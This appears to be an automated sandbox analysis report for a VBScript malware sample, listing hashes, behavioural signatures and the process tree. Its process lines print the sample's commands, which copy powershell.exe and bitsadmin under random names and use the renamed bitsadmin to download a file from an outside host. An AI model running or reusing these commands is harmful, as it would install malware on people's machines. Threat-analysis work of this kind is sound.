Analysis
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max time kernel
147s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
06-07-2024 21:00
Static task
static1
Behavioral task
behavioral1
Sample
29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs
Resource
win7-20240220-en
General
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Target
29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs
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Size
9KB
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MD5
29559f995653dd2346c9dfbd082e8106
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SHA1
5234aa0c46b9cd856d42d9952da3710edbebb329
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SHA256
db2b2aca54ef81c93e298620e3a8dc6ca812335f0306924fb060d2bd9fe0fc28
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SHA512
a42116e42dd6bbee0a7faf4c4f560ec2e94d03d63fc0a1c1ffe7555f04c80190f6c4c1e5829526823802a7c4226302ae916cfa25a74af6f51633084700096135
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SSDEEP
192:VFlRdcLMXrNDN8cPVAXSOh8TOhWDTaDrm8yhFdFxF9:NRgMXrNJ8cPVAXTh8TOsDTaDK8yl
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
pid Process 4100 ZpbZtRqin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 3568 wrote to memory of 2024 3568 WScript.exe 81 PID 3568 wrote to memory of 2024 3568 WScript.exe 81 PID 2024 wrote to memory of 232 2024 cmd.exe 83 PID 2024 wrote to memory of 232 2024 cmd.exe 83 PID 2024 wrote to memory of 3832 2024 cmd.exe 84 PID 2024 wrote to memory of 3832 2024 cmd.exe 84 PID 3568 wrote to memory of 4100 3568 WScript.exe 85 PID 3568 wrote to memory of 4100 3568 WScript.exe 85 PID 3568 wrote to memory of 4100 3568 WScript.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3568 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe3⤵PID:232
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe3⤵PID:3832
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C:\ProgramData\ZpbZtRqin.exe"C:\ProgramData\ZpbZtRqin.exe" /wrap /transfer pNivTrJI https://analyzare.com/annalisa/NRDMSM70P21H501S/lagos.xls C:\ProgramData\lagos.xls2⤵
- Executes dropped EXE
PID:4100
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a